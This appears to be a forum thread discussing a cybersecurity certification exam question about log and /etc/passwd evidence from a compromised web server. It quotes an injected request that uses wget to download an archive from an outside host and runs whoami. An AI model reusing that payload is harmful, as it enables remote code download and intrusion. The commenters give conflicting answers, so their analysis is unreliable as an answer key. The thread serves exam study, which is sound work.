Exam CS0-003 topic 1 question 88 discussion

Looking at the output I see that it is running container.getInstance.(#wget http://grohl.ve.da/tmp/brkgtr.zip;#whoami) Of the options proposed, it seems that option B is the most logical answer.

ased on the provided output: /etc/passwd: The http account has a /bin/bash shell assigned instead of the usual /usr/bin/nologin or /bin/false. This suggests that the adversary has potentially modified the http service account to allow for command execution, which typically wouldn't be possible with a service account. /var/log/httpd: The logs indicate an error related to parsing a request and references a suspicious URL (http://grohl.ve.da/tmp/brkgtr.zip). This suggests that the adversary attempted to exploit a vulnerability in the web application (likely a file upload or remote code execution vulnerability) to download and potentially execute a malicious file. Given this information: The adversary is most likely trying to execute commands through an unsecured service account (B). The modification of the http account to use /bin/bash indicates an attempt to gain shell access using that account, which could be leveraged for further exploitation. The log entries also suggest an attempt to download and possibly execute malicious files through the compromised web server.

Im thinking B

It is B, There is no indication in the provided logs or user account information that a backdoor root account named zsh is being created. The /etc/passwd file does not show a user with such a name or hint towards such an action. This option seems less likely based on the information given. Normally, service accounts like http (associated with the HTTP service) should have minimal permissions and use restrictive shells like /usr/bin/nologin. The presence of a shell like /bin/bash may allow an attacker to execute commands if they manage to exploit the service.

Based on the provided image, the adversary is most likely trying to create a backdoor root account named zsh (Option A). This conclusion is drawn from the presence of a user account named ‘zsh’ with root privileges in the /etc/passwd file, which is a common tactic used by attackers to maintain persistent access to a compromised system.

I'm thinking B here.